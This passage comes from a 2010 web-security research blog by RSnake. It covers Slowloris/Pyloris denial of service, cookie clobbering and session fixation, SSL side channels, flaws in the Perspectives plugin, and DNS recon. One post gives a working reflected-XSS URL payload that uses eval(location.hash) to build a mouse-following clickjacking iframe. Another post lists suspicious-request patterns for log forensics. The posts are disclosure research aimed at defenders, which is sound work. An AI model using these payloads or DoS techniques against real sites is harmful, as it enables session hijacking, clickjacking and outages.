  It turns out it’s nowhere near 130 open connections. Firefox sets a rather arbitrary 30 connection limit. So if you can create 5 open web-servers and exhaust 30 connections and only free up one long enough to allow the victim to download one request at a time, I think we’re in business. Makes sense in theory. The problem is that it’s REALLLLY slow. I mean… painful. In my testing it seemed more like the server was broken entirely from the victim’s perspective. But eventually… and in some cases I mean minutes later - it would load. I’m sure that the attack could be optimized to work based on the fact that no more packets are being sent when the image gets downloaded or whatever… which would signal the program to free up a connection. This is opposed to my crapola time based solution combined with chunked encoding to force the connection to stay open without downloading anything that I came up with for testing. So I bet this attack could work if someone put some tender loving care into it, but it was kind of a huge waste of time for me personally - and for poor id.

  Incidentally, for those who have never seen or met id, and would like to know a little about the other side of webappsec that I don’t talk about much here (the configuration, operating system and network), you’re chance is nearing. There’s a rumor that he’ll be speaking at Lascon in October. He’ll be talking on how he’s managed to secure ha.ckers.org for all these years despite how much of a target I’ve made it. Should be fun.

• 

  Pyloris and Metering Traffic

  Posted: September 1st, 2010, 8:56pm CDT by RSnake

  Tags:  Webappsec   [edit]

  20 posts left…

  Pyloris is a python version of Slowloris, and since it is written in python it’s SSL version is thread safe. So what better way to lock up an SSL/TLS Apache install (given that Apache still hasn’t fixed their DoS)? Well, one of the big problems attackers have when trying to decipher SSL/TLS traffic is the fact that browsers not only send a lot of request down a single connection but they also connect use a bunch of open connections over separate sockets. What if we could use pyloris to exhaust all but one open socket?

  Well it turns out that while this sorta works, there are a lot of issues with the concept. Firstly, it requires Apache. Secondly the server can’t be using a load balancer (assuming the load balancer isn’t using Apache itself). Thirdly it requires that there are no other users on the system or there will be a seriously annoying user experience for the poor victim who can’t reach the site that the man in the middle is trying to decipher traffic from. Alas… So while this didn’t work particularly well in my testing, I’m certain with more thinking someone can figure out a way to do this.

• 

  XSHM Mark 2

  Posted: September 1st, 2010, 8:48pm CDT by RSnake

  Tags:  Webappsec   [edit]

  21 posts left…

  If you’re familiar with XSHM this is going to look awfully similar (but better). When a script creates a new popup (or tab) it retains control over where to send it at a later date. I talked about this concept before. But let’s see what else can be done. What if the attacker uses the history.length function to calculate how many pages a user has visited after they left the tab for wherever they landed. The attacker could do something like this:

  a.location = 'data:text/html;utf-8,<script>alert(history.length);history.go(-1);</script>';

  By setting either a recursive setTimeout or using some manual polling mechanism, the attacker can (in this case) cause a popup which monitors how many pages they’ve gone. Normally it wouldn’t cause a popup, the attacker would redirect to another domain that they had access to which would do the same history.length check. Voila. The user only sees a brief white flash and then the same page they were just on - as if nothing happened. They’d probably just think their browser is messing up again. This could be helpful in a number of esoteric situations where the number of pages visited may change, or you may want to force them through several flows (and back and forth again) all with a single mouse click - giving you authority to popup in the first place. The best part is that this will follow them while they surf for as long as both windows stay open.

• 

  Cookie Clobbering

  Posted: September 1st, 2010, 8:38pm CDT by RSnake

  Tags:  Webappsec   [edit]

  22 posts left…

  While thinking about the previous issue and listening to Jeremiah’s preso and talking with the guys at Microsoft I got to thinking about cookie clobbering. Let’s say that Microsoft thinks HTTP cookies overwriting secure cookies is a big enough problem to fix. Let’s walk through the use cases. Let’s say there is a separate place for secure cookies that can’t be overwritten by non-secure cookies. Does that mean two cookies are replayed in HTTPS space, or that the HTTPS cookie always wins? Okay… let’s say it wins and the secure flag cookie cookie is the only one sent. Well let’s not forget about Jer’s cookie clobbering script.

  When an attacker forces overwriting of the cookie jar, they get the exact same effect. Now the victim has no cookies secure or otherwise if the global cookie jar stays the same size and it remains a LIFO system. So now you’re saying, well the attacker can just use a SSL/TLS enabled cookie clobbering scripts - you’re right! So now there has to be a per-site container… or something - and doesn’t that completely defeat the purpose of the upper limits on cookies anyway? Now DoS conditions become an issue with overwriting the disc with tons of huge cookies, and so on. Anyway… this probably needs a lot more thought, and I’m certainly not advocating “fixing” this, just to end up with a worse situation than we already have. But certainly secure cookies shouldn’t be clobbered by HTTP cookies - in my opinion.

• 

  MITM, SSL and Session Fixation

  Posted: September 1st, 2010, 8:25pm CDT by RSnake

  Tags:  Webappsec   [edit]

  23 posts left…

  It’s been known for a long time that HTTP can set cookies that can be read in HTTPS space because cookies don’t follow the same origin policy in the way that JavaScript does. More importantly, HTTP cookies can overwrite HTTPS cookies, even if the cookies are marked as secure. I started thinking of a form of session fixation during our research that uses this to the attacker’s advantage. Let’s assume the attacker wants to get access to a user’s account that’s over SSL/TLS. Now let’s assume the website sets a session cookie prior to authentication and after authentication the site marks the cookie as valid for whatever username/password combo it receives.

  First, the attacker goes to the website before the victim gets there so he can get a session cookie. Then, if the victim is still in HTTP for the same domain the attacker can set a cookie that will replay to the HTTPS website. So the attacker sets the same cookie that he just received into the victim’s browser. Once the victim authenticates, the cookie that the attacker gave the victim (and knows) is now valid for the victim’s account. Now if the victim was already authenticated or had already gotten a session token, no big deal. The attacker overwrites the cookie, which at worst logs the user out. Once the victim re-authenticates, voila - session fixation. Now all the attacker has to do is replay the same cookie in his own browser and he’s in the user’s account.

• 

  Issues with Perspectives

  Posted: September 1st, 2010, 8:12pm CDT by RSnake

  Tags:  Webappsec   [edit]

  24 posts left…

  When I told one of my guys about the double DNS rebinding attack, he said, “Well it’s a good thing I use perspectives.” So that was my clue that I had better get familiar with the plugin if people are seriously relying on it for security. In the process we found a number of potential issues. For those of you who aren’t super clued in about this tool it was originally designed to handle situations where governments are tapping people using things like Packet Forensics where a valid certificate authority is being used to man in the middle someone or a group of individuals.

  First of all it’s easy to detect perspectives for a man in the middle. Perspectives sends a lot of HTTP traffic, which the attacker can easily read and figure out is related to perspectives. That may not seem important, because if an attacker knows that a user has it installed what can they really do? We’ll come back to this.

  Embedded content is not verified by perspectives, only the parent window. Because most websites (even HTTPS) use third party service providers, caching servers or whatever for static content, the attacker will simply MitM’s the “static” servers serving up CSS, JavaScript or objects that are dynamic content once rendered. By modifying the response and including active content, anything that can be seen by the DOM is still accessible to the man in the middle. Kinda defeats the purpose of perspectives…

  Using the fact that an attacker knows that someone is using perspectives (which they can determine by forcing someone through an SSL/TLS link), the attacker can simply MITM only the embedded content. Of course there are changes a user can make to the settings and options to reduce this risk, but like all options, they’re probably not changed often and the defaults really aren’t good.

  Lastly, I tried perspectives against the double DNS rebinding issue, and unfortunately instead of the huge pop-down that would actually alert someone to the problem, because the attack uses a valid cert from a nearby sub-domain that perspectives has probably seen before it only gives the small warning that most people probably wouldn’t notice unless they were really paying attention.

• 

  Prior Knowledge Of User’s Cert Warning Behavior

  Posted: September 1st, 2010, 7:57pm CDT by RSnake

  Tags:  Webappsec   [edit]

  25 posts left…

  One of the issues Josh and I talked about at Blackhat was how the SSL certificate warning message can be used to gain information about a user’s behavior and how that can be used against the user. Let’s say a man in the middle causes an error via proxying a well-known owner/subsidiary. For example let’s say https://www.youtube.com/ which most technical people know belongs to Google and which, incidentally causes SSL/TLS mismatch errors because it’s mis-configured. Experts who see such an error and investigate will think it’s just a dumb (innocent) error. Non-experts will click through immediately, because they always do when they see such things.

  By measuring the wait time the attacker can know which type of user the victim is - a technical one, or a novice. If the user is a novice the attacker knows they don’t have to worry anymore - they can deliver their snake oil cert later if the user goes through it “quickly” because that user’s behavior will most likely stay the same. Of course figuring out the timing might be a bit tricky because really new users will be awfully confused by cert warnings and will seem “slow” I’d bet. Anyway, something to investigate further.

• 

  IE Cookies

  Posted: August 27th, 2010, 4:52pm CDT by RSnake

  Tags:  Webappsec   [edit]

  26 posts left…

  The fact that IE8 doesn’t delete cookies upon telling it to (at least in my testing) until browser shut-down isn’t just bad for usability (and ho boy is it annoying when you’re testing) but it has other interesting privacy implications. Generally I tell people not to set the same cookie more than once. That makes it harder to use old XMLHTTPRequest bugs to download the cookie (which may otherwise be protected using HTTPOnly). But what if the cookie weren’t sensitive, but rather used for tracking?

  If a site sets a unique cookie and the user clears cookies in IE8, that doesn’t mean that IE8 doesn’t keep sending the cookie (it’s retained in memory) - which means the site still gets it. If the site is trying to track the user they can simply keep setting the exact same HTTP cookie with an “expires” in the future to make it persist after the browser closes and voila! Even though the user thinks they cleaned their cookies, not for a moment was the cookie removed in IE8. Could be useful for banner advertisers or companies that need to do large scale tracking of users.

• 

  Using Cookies For Selective DoS and State Detection

  Posted: August 22nd, 2010, 12:03pm CDT by RSnake

  Tags:  Webappsec   [edit]

  28 posts left….

  This is a continuation of the first post where we described how you can use cookies to DoS certain portions of the website. After our speech one of the Mozilla guys came up to us and described another attack that arises from this. Let’s say when a user logs in it sets a cookie that is 200 bytes long, and when they log out it re-sets the same cookie to 50 bytes. Well if the attacker can set a cookie with a particular path to a single image on the site, for instance, they can use JavaScript to check with an onerror event handler to see if the image has loaded.

  By combining the over-long cookie (minus 50 bytes) a logged in state will cause the image to fail to load, where as a logged out state will allow the image to load just fine. In this way an attacker can tell cookie states as long as the cookies are variable width and there aren’t other cookies muddying the waters. Interesting attack, I thought!

• 

  Using Cookies For Selective DoS

  Posted: August 22nd, 2010, 11:59am CDT by RSnake

  Tags:  Webappsec   [edit]

  29 posts left…

  One of the things Josh Sokol and I talked about in our presentation at Blackhat was a way to use over-sized cookies to cause a DoS on the site. The web server sees the overlong cookie and stops the request from completing. This is not new and has certainly been discussed before. However, one thing that wasn’t discussed is that using the path an attacker can selectively cause the website to stop displaying portions of the site. For instance, if the attacker wants to shut down /javascript/ or /logout.aspx or /reportabuse.aspx or whatever, they can by setting an overly-long cookie for that particular path.

  Setting cookies on the target sub domain would require something like header injection/Response splitting, XSS, or a MitM attack. It should be noted though that it doesn’t have to be on the target sub domain - it can be an exploit in another sub domain because cookies don’t follow the same origin policy if the cookie is scoped to the parent domain. In this way an attacker could turn off Clickjacking prevention code (deframing scripts), or turn off other client side protections or parts of the site that are bad from an attacker’s perspective. The only real solution to this is for all browsers to start making the absolute maximum size of cookies smaller than the smallest that web servers will allow (Apache was smaller than IIS by default for instance).

• 

  Detection of Parameter Pollution

  Posted: August 21st, 2010, 5:14pm CDT by RSnake

  Tags:  Webappsec   [edit]

  30 posts left…

  There are a lot of web based exploits that can be really tricky to spot if you’re talking about a WAF. Multiple encoding issues, obfuscation and the like… Well, one attack in particular I think is actually pretty easy to detect programmatically (in most cases). In the case of HTTP Parameter Pollution the attacker has to double up on the parameters. So something like: ?a=1&b=2&a=3. If the WAF sees the same parameter (in this case “a”) supplied twice it’s pretty easy to understand that either there was something screwed up or it’s an attack. Either way, it’s worth reporting, and possibly even blocking if you know your site isn’t built like this.

  Of course the normal caveats for non-standard parameter delimiters apply (hopefully the WAF could be developed to understand those delimiters in a perfect world). Not to mention the fact that even last week I saw a site that did Parameter Pollution on itself because of shoddy programming (and probably a lot of cutting and pasting by the developer). There could also be cases where some parameters come in on the URL field and others are POST parameters, so that would need to be taken into account as well for systems that don’t care and accept it all as a big pool of parameters. Lastly, I doubt many attackers are actually using Parameter Pollution (yet), but it should be easy enough to catch in most cases.

• 

  Quick Proxy Detection

  Posted: August 20th, 2010, 2:52pm CDT by RSnake

  Tags:  Webappsec   [edit]

  32 Posts left…

  Just a quicky post on how in Firefox you can detect proxies using image tags. Firefox (and possibly other browsers but I first saw it in Firefox) use [ ] to denote IPv6 (I believe that’s it’s original intention anyway) but it also works in IPv4.

  Something as simple as http://[123.123.123.123]/img.jpg?unique_id embedded into a page could be used to see if the user is using a proxy, which, as far as I’ve seen - at least using Apache’s proxy, doesn’t understand that syntax and therefore won’t fetch the image. This does give false positives when using something that blocks cross domain requests, and robots that try to stay on the same domain. Anyway, this might be helpful to someone.

• 

  Some Possible Insights into Geo-Economics of Security

  Posted: July 21st, 2010, 9:59am CDT by RSnake

  Tags:  Webappsec   [edit]

  38 more posts left…

  I first started thinking about this when I talked to a friend from Vietnam a year or so ago regarding his CISSP. Once upon a time it was nearly impossible to find someone in Vietnam with a CISSP. At first I thought he was making some sort of joke about the usefulness of the certificate, but for some things in Vietnam it’s really a hot commodity. It turns out that the cost of living there makes a CISSP almost totally not worth it. Even though it’s expensive in the United States (where I live) respective to the wages in Vietnam it’s weeks or even a month worth of work. Therefore the rate at which a certificate would be awarded is less, not because of skill, know-how or anything else. It’s purely economics. Slowly that has changed and more people now have it than before in Vietnam, but it’s still not equal as a percentage compared to the USA, for instance, from what I was told.

  That got me thinking about other issues that are relatively the same. For instance SSL/TLS certificates. Buying a certificate to allow for transport security is a good idea if you’re worried about man in the middle attacks. Yes, that’s true even despite what I’m going to tell you in my Blackhat presentation where Josh Sokol and I will be discussing 24 different issues of varying severity with plugins and browsers in general. But when you’re in another country where the cost of running your website is a significant investment compared to the United States, suddenly the fees associated with the risks are totally lopsided. So this may be why you might see a lower adoption rate of certificates in certain regions. More importantly there really is no long term reason the security industry can’t create a free certificate authority (over DNSSEC for instance) that provides all the same security or more even without the costs - therefor making it a more equal playing field.

  Lastly I started thinking about bug bounties and how they work almost opposite. Unlike security, where the cost is high for playing, hacking can be much more lucrative based on your geo-economic situation. For instance, a $3000 bug bounty for something that takes two weeks to work on equates to a $78k a year job if you can be consistent. In the United States for a skilled researcher that’s barely worth the time. But in a country where the average income is closer to $10k a year, something like this might highly incentivize researchers to focus on attack verses defense, which few can afford. Anyway, I thought it was an interesting concept that may play out entirely different in reality, but it was a fun thought exercise.

• 

  Places to MITM

  Posted: June 25th, 2010, 3:54pm CDT by RSnake

  Tags:  Webappsec   [edit]

  40 posts remaining…

  Just a quick thought for a Friday afternoon. For a while I did informal questionnaires to friends and family and people in general who aren’t hardcore security people about what they type in when they’re going to their bank. The following are the kinds of answers I’d get:

  • “I type in www.bank.com.”
  • “I type ‘bank’ and hit ctrl-enter”
  • “I type in http://www.bank.com”
  • “I type in bank.com and hit enter”

  But almost never (twice out of dozens of people) I’d hear someone say, “I type in https://www.bank.com” with the “s”. So let’s just for a second think about all the problems with these. Let’s take “bank.com” as an example.

  • User types bank.com, which, depending on the browser is being sent on the wire as they type over HTTP for auto-complete
  • The browser corrects the URL to be http://bank.com/ and makes a DNS request for “bank.com”
  • The DNS server responds with an IP address
  • The user makes a request to bank.com’s IP address over HTTP
  • bank.com responds in unencrypted HTTP to the user’s browser and informs them that they should be speaking with www.bank.com, and redirects them there via a 301 or 302 redirect
  • User’s browser makes another DNS request for www.bank.com
  • DNS server responds with www.bank.com’s IP address
  • Browser makes an HTTP connection to www.bank.com
  • www.bank.com realizes that the user is connecting via HTTP and uses another redirect to send the user to https://www.bank.com (or often has a link on the page, asking the user to click it to log in which will take the user to HTTPS)
  • User’s browser re-connects to port 443 and begins negotiating - and at this point is encrypted (hopefully using strong crypto and there are no other issues…)

  There’s a lot of places there than an attacker can get in the middle and mess things up. And sadly, this isn’t even close to everything wrong in real life. So while HTTPS is a good idea, in practice how people tend to get there is pretty flawed. The promise of STS, HTTPS everywhere and some of the settings within NoScript and so on… was to take that out of the user’s hands. Not that these aren’t all good ideas, but there are usability issues, and require that the user be somewhat informed of the issues in most cases - which they don’t tend to be.

• 

  Improving HTTPS Side Channel Attacks

  Posted: June 22nd, 2010, 6:08pm CDT by RSnake

  Tags:  Webappsec   [edit]

  41 more posts left until the end…

  In regards to the previous post and the impending Blackhat speech with Josh Sokol, I thought I’d spend some time enumerating some of the possibilities for reducing the chatter over SSL/TLS that the browser introduces. There are a few things that an attacker generally doesn’t care about (not always, but generally). They generally don’t care about images, CSS, JavaScript, favicons, and most of the HTTP headers. That is, those parts of the HTML and HTTP request/response are generally less interesting than the content itself or what the user is sending. So there’s a few tricks we can use to force the user’s browser to cache the content prior to intentionally navigating there (call it pre-caching for lack of a better term).

  Firstly, there’s a pretty good chance that an attacker can connect to the SSL/TLS encrypted website site in question and see what the HTTP response headers look like. Minus cookies, URL and POST data, an attacker can get a pretty accurate picture of what the HTTP response looks like. The attacker can also identify what sort of key exchange the user will be using with the site in question through a little enumeration. So the amount of data sent on the wire is smaller, and the data that is sent can be isolated to the few unknown components.

  Next, an attacker can create an iframe (from a MITM’d HTTP website - the side channel) to the SSL/TLS encrypted site in question to pre-load all the images, JavaScript, CSS, favicons, and so on, that typically muddy the encrypted HTTP data flying in both directions. Lots of times the files in question are inconsequential to the page in question from the attacker’s perspective. But because browsers share sockets for multiple requests, often the chatter for these static objects can make determining what is on the wire much more difficult.

  So by forcing the user’s browser to pre-cache the content, an attacker can get down to just the pages they are interested in and a few GET requests that return 304 Not Modified responses. That’s a much smaller footprint for the unrelated data than it would be if it weren’t cached. Now, it may not always be a good idea to pre-cache. Sometimes the content will be hosted on other subdomains or domains, and therefore won’t create the same amount of chatter over the socket, because it isn’t pulling that content from the same IP. Other times it may be useful to detect that a user is on a certain page, because some of the content is a very specific to that page in question and is a known size - alerting the attacker to the fact that the user being monitored is on the page in question.

  In this way an attacker is really getting down to the exact parts of the data they are interested in. Obviously the earlier an attacker can do this the better - trying to cache after the fact doesn’t make a lot of sense, although using timing attacks an attacker may be able to tell where the user has been, interestingly enough (Chris Evans did a good writeup on this a while back).

• 

  Side Channel Attacks in SSL

  Posted: June 21st, 2010, 3:23pm CDT by RSnake

  Tags:  Webappsec   [edit]

  42 posts left until my last…

  For those of you who may not have seen it there is a very good paper partially by Microsoft Research and partially by Indiana.edu called Side-Channel Leaks in Web Applications: a Reality Today, a Challenge Tomorrow. Initially it really upset me off that this paper was written, not because it’s not excellent, but because it’s partially what I was going to be speaking about at Blackhat. Alas… they came out with it first, and frankly, I think they did a much better job at slicing and dicing with the math. So once being upset by being beaten to the punch had worn off Josh Sokol and I had to change the presentation that we’ll be doing at Blackhat, and we’ll only be glossing over this as a result. But please check it out, it must have taken quite a while to build up those abuse cases.

  Anyway, the reason I originally started thinking about this was because of something from Bruce Schneier I read a decade or so ago (I believe it was in Applied Cryptography). It basically said that in certain crypto systems you could tell certain things about the people involved. For instance, if you had one user who sent an encrypted message to two users who then sent the same message to four users who then sent it to 8 and so on… you might be able to infer a chain of command (or, just as likely - a really funny/crude joke that no one wants their bosses to find out about).

  But when you’re talking about HTML, you have a lot of things that sort of act as subordinates in the same way as a chain of command might. For instance, HTML can load JavaScript, CSS, Objects, etc… those can load more JavaScript, Images, Bindings, etc… All of that has a certain behavior in the browser, and in one way or another can be detected. So the trick is how do you detect it? The Indiana paper does a good job of enumerating some of those possibilities, but there are a lot of other tricks an attacker could use as a man in the middle to reduce the noise on the wire. That’s what the presentation is largely about. Anyway, check out the paper!

• 

  Firefox DoS

  Posted: June 21st, 2010, 11:06am CDT by RSnake

  Tags:  Webappsec   [edit]

  With Blackhat impending, and given how many individual issues I’ll be discussing, I thought I should start posting them here. That and the fact that I’m quickly approaching my 1000′th post (which, if I have my way will be my last on ha.ckers.org) means that I need to start wrapping up these issues into a neat little bow. I have 43 more, as of this post, so the clock is ticking. During my research for Blackhat I found a few things that were unrelated to the main content, and didn’t make sense to include in the presentation. So let’s start with a little user-initiated DoS that I was toying with. It’s using a bunch of frames and then throwing a recursive heap-spray into it. The heap-spray may or may not be a red-herring, but I got the best results when I used it compared to some of the other tests I ran.

  On my system it gave me an odd set of errors. Typically with any type of recursion Firefox will eventually pop up the “A script on this page may be busy or it may have stopped responding.” error. This is no different, except for what script it thinks is misbehaving. The error alternates, but if I leave it running long enough sometimes I get “chrome://noscript/content/Main.js:2149″ sometimes I get “chrome://global/content/bindings/general.xml:0″ sometimes I get “file:///C:/Programe%20Files/Mozilla%20Firefox/components/nsContentPrefService:1012″ and so on… These may point to race conditions, memory overwriting or something equally bad. Perhaps someone with more time can do more with this, but it was kind of fun to play with. Anyway, please save your work before you try this, but here is the demo.

• 

  ModSecurity Handbook

  Posted: June 18th, 2010, 4:50pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I finally broke down and bought a new bean bag chair. I had one of the older Sumo lounge models and I loved it, but the newer sway couple model is much more conducive to sitting down and doing work or reading a book. So, with an uber-comfy chair as a prerequisite, that is promptly the first thing I did. I’ve been meaning to find the time to sit down and read the ModSecurity Handbook by Ivan Ristic - the primary developer on the project. And is there any surprise? It’s really good.

  Ivan has written an O’Reilly book in the past, so his approach to writing is very methodological. For instance, I’m always the skeptic about tools that add latency, and that’s one of the very first things he addresses - alleviating a lot of those questions in my mind, having not played with it much in a few years. He goes through a lot of the attack scenarios, the configuration, tactics and on and on. It’s very thorough. Of course it leaves you with a big question mark at the end - so what’s the future of mod_security really going to be? Hopefully just as bright in the future.

  One of the things I particularly liked was that Ivan went through and explained how mod_security was never designed to be a panacea and it was intentionally designed to be a more straight-forward tool, solving things that he knew it could solve, without wasting time developing a tool to be everything to everyone. I like that it wasn’t trying to be something it’s not. It’s really refreshing to hear an author tell you why things were built the way they are, and even more refreshing when you agree with those decisions. It gives you a lot of insights into the development process. Anyway, it was a good book read while sitting on a comfy chair (I recommend both). Sometimes the simplest things in life are worth writing about. If you use mod_security or are looking for a good free solution you should check out Ivan’s book.

• 

  Using DNS to Find High Value Targets

  Posted: June 16th, 2010, 11:58am CDT by RSnake

  Tags:  Webappsec   [edit]

  With the impending release of Fierce 2.0 I thought I’d spend a minute talking about finding high value targets. I was working with a company in a specific vertical when I realized they use a very large single back end provider (essentially a cloud-based SaaS). But they aren’t the only large company using that SaaS - there are many hundreds of other companies using them as well. But because I’m not in that particular industry and having not worked much in that vertical, I had never even heard of them before. Frankly, I had no idea that they even existed. Now let’s take a typical Fierce DNS enumeration scan; it can find a lot of non-contiguous IP space, sure. But what about when I launch scans against hundreds of companies in that same vertical? Some interesting results start bubbling up.

  Because companies tend to point their DNS to those SaaS providers for white labeling, often you’ll see a convergence of a lot of sub-domains all pointing to a single IP address or set of IP addresses. It doesn’t take a rocket scientist to realize that you don’t need to attack the target you’re interested in, you can attack the SaaS provider and take over not just one but all of those companies in that vertical that use that provider. Even though that may not be obvious by just probing the external network, DNS can sometimes help to uncover those sorts of details. This happens a lot more than most people realize, and in my experience those cloud based SaaS providers aren’t any more secure than anyone else. It’s a lot more interesting to compromise hundreds of companies for the price of one.

• 

  Turning XSS into Clickjacking

  Posted: June 14th, 2010, 1:27pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Those of us who do a lot of work in the security world have come to realize that there is a ton of cross site scripting (XSS) out there. 80% of dynamic sites (or more) suffer from it. But how many sites allow you to do HTML file uploads comparatively? It’s a much smaller amount, and typically requires some sort of login before you’re allowed to do it. Often times it’s protected by login too, so it’s a relatively small amount of people who could be impacted by any sort of HTML file upload. But that is precisely what’s needed to mount a clickjacking attack (usually one or two pages). Either the attacker has to rent space in the cloud with a stolen credit card, or find some parasitic hosting somewhere.

  That’s when I got to thinking… how can you use any old generic reflected XSS attack to mount a clickjacking attack? A few hours later I had a prototype that worked. Here’s how the attack would work. Let’s say a parameter like “search” was vulnerable to reflected XSS. An attacker could do something like:

  http://example.com/?search=<script>eval(location.hash.slice(1))</script>

  This is an old trick that basically says anything that falls into the anchor tag is what the attacker wants to run as the attack. Anchor tags are not sent to the server, they are only seen on the client. So this effectively turns the reflected XSS into a DOM based XSS, which leaves less of a signature on the server as well, incidentally. Then the attacker’s anchor payload would look something like this (this works only in Firefox):

  http://example.com/?search=<script>eval(location.hash.slice(1))</script>#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.3;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="http://www.victim.com/";a.d.body.appendChild(i);function followmouse(e){xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;

  So you have a reflected XSS on example.com that instantiates a DOM based XSS which instantiates a clickjacking attack against victim.com. Obviously you’d need to modify this to actually fit the right coordinates and work in other browsers, but this could easily be used to leverage the attack in situations where an attacker might not be able to otherwise. For instance, if the clickjacking defenses only care about the referrer and the referrer is on the correct domain just a different sub-domain, that could be used to bypass it - and so on. Anyway, I thought some people might think this is interesting. Happy penetration testing!

• 

  Lighttpd and Slowloris

  Posted: June 14th, 2010, 11:12am CDT by RSnake

  Tags:  Webappsec   [edit]

  I had heard various different reports from people who use lighttpd during the initial investigation of slowloris that it was not vulnerable. But now I’m hearing differently. From Iraklis Alexios C. Mathiopoulos:

  I just tested it on a fresh/default install of the latest lighttpd with a simple index.html page (no fastcgi this time). Consistent results, 4-5 seconds after I fire slowloris from host A to “attack” server B, server’s B is unresponsive. I’m checking from host C btw in order to minimize the risk of any dos appliances that might be in the way blocking requests. host A, server B, host C are all in different geographical locations.

  As soon as I stop slowloris server B becomes responsive again. Interestingly enough top doesn’t show any change in cpu/mem usage during the attack.

  Btw the targeted server is running Centos 5.4 64bit on an Intel i7 with 8GB ram.

  Anyone have different results to share for lighttpd? About a year has come and gone and I haven’t heard any word from the Apache camp on a fix either. Anyone heard anything about a fix in Apache’s core web server?

• 

  Web Server Log Forensics App Wanted

  Posted: June 13th, 2010, 12:24pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I can’t tell you how many times over the last several years I’ve needed an application that can properly parse and help me inspect web server log files. I’ve searched around, asked friends and colleagues and nothing. The best I’ve come up with is a bunch of crappy shell scripts, grep, Splunk, libraries and a few people mentioned that event correlation systems come close to doing what I want. In the end I just end up manually grepping through files, and writing my own custom scripts that I end up having to re-write over and over again, depending on the situation and the log files themselves. Without the time to dedicate to it, and a million other things on my plate I’ve never had the opportunity to sit down and code it up. Here’s the requirements for what I need:

  • 
    
  • Must be able to parse log files in different formats. Lots of web server logs don’t look like other web server logs - even from the same web server, depending on how they are formatted and the order that the variables get logged. IIS logs may intentionally add in cookie parameters. Some logs may not use the same delimiters and so on. A generic parser that can deal with any log in any format is what needs to be built. I know companies have built these things before, so it’s possible. Yeah, this bullet alone is a bit of a nightmare.
    
  • The system must be able to take two independent and differently formatted logs and combine them. Often times in a forensics case the attacker hit more than one web server in the process of attacking the site. This happens a lot when you’re talking about static content hosted on other sites or a separate single sign on authentication server or whatever. One server might be IIS and the other Apache - so the system would have to be able to combine different lot formats and take into account that some logs may not have the same parameters in them; one might be missing query string information or host name or whatever.
    
  • The system must be able to normalize by time. I can’t tell you how many times I’ve found that one of the sites involved in the forensics case isn’t using NTP and the log file is off by some arbitrary amount of time. This is a huge pain when you’re doing this by hand, let me tell you. Anyway, timezones also must be accounted for, where one server is hosted in one timezone and a different log is hosted in another.
    
  • Log files are big - they can be many gigs per day, and a forensics case can span a month or more. This is where grep gets a lot less convenient and where a database would be a better choice. So the system should be able to handle just about any size of log file data, up to and including a terabyte.
    
  • It should allow for regular expressions and binary logic on any parameter. Sometimes I want to check to see if something is a “POST” followed by a “5xx” error as a response code against any of the logs over N days. Or maybe I want to check for anyone who hit any file and got a different size back than everyone else who hit that same file. Or maybe I want to ignore things in certain directories or with certain file extensions, because I know that contains only static content.
    
  • The system should be able to narrow down to a subset of logical culprits. That is, remove any IP addresses that never submitted a “POST” request, or any GET requests with a Query string.
    
  • The system should allow for white-lists, to remove things like internal IP addresses, or known robots that weren’t involved but make a lot of suspicious requests (third party scanners and such).
    
  • The system should also build a probable culprits list that you can pivot against. If you know N IP addresses are suspicious, you should be able to run commands against just those IP addresses, without re-searching all the non-suspicious IP addresses. That way you can gradually narrow down the list further and further so you are only looking at things that interest you.
    
  • The system should be able to maintain a list of suspicious requests that indicate a potential compromise, like “../” and “=http://” and so on, to quickly narrow down a list of culprits, without having to do a lot of manual searching.
    
  • The system should decode URL data so that it can be searched easier. This could be really tricky given how many encoding methods there are out there, but even just URL would be a huge time saver.
    
  • The software must use the BSD license - so it can be used in any capacity, and modified as necessary. Because GNU just won’t cut it.

  So yeah, if anyone is just looking to build something extremely useful to guys like me, and feels like making it open source so anyone else can use it, please do! The forensics community could really use something like this. I sure know I’d use it!

• 

  Fierce 2.0 To Be Released

  Posted: June 11th, 2010, 12:27am CDT by RSnake

  Tags:  Webappsec   [edit]

  A few years back I wrote a tool to do DNS enumeration. The point of it was that it is incredibly difficult to do an accurate penetration test against a target when you don’t know what to attack. The only way to know that is to find all the machines associated with that domain/customer or whatever. After a weekend or so of coding I came up with a functional, albeit crappy Perl program that did just that. A few people took note, a lot of people called me out for my crappy programming (rightfully) and ultimately it sat nearly stagnant for a few years. That is until I met Jabra.

  Jabra (who works for Rapid7) is a bad ass Perl developer, at least compared to yours truly. He completely re-wrote Fierce, taking in my wish-list and a whole new set of features he wanted, like XML support to quickly integrate with nmap and all kinds of other stuff. Hopefully sometime next week we’ll have a released version. In the meantime please go and check out the beta of Fierce 2.0. Feedback is welcome!

• 

  Windows Help Centre Vuln

  Posted: June 10th, 2010, 10:17am CDT by RSnake

  Tags:  Webappsec   [edit]

  Updated: clarified some points of contention.

  Early this morning Google’s Tavis Ormandy published a vulnerability in the hcp protocol handler. It allows the attacker to run arbitrary commands as the user. In practice it created a lot of alerts and warnings for me - but the XP install I was using is somewhat locked down. So I’m not sure how practical this attack would be over any other attack that causes an alert, as the article mentions. Later his reports says it works around the alerts (I couldn’t reproduce that, but that was his intention). Either way, though, this is some pretty amazing research. However, there are some odd things about this that really struck me the wrong way.

  Google has been the loudest proponent for responsible disclosure in the past. But if you look at the dates in his post, he says he reported it to Microsoft on the 5th of June (a Saturday), who responded the same day. He sent the advisory early in the morning today the 10th of June - meaning Google gave Microsoft less than 5 days to fix it to respond to his demand to have it fixed in 60 days. Even Mozilla backed down from 10 day turn around, and they’re only running a single software suite. How is that possibly reasonable to expect a company like MS to turn around a patch in 4-5 days and then get so upset that then you must go full disclosure? (Incorrectly stated) And it’s not like Tavis was acting on his own - he credits other security researchers inside of Google for their help lcamtuf who works at Google. So apparently it’s okay for Google Google’s employees to go full disclosure, but not for other researchers. The hypocrisy is amazing.

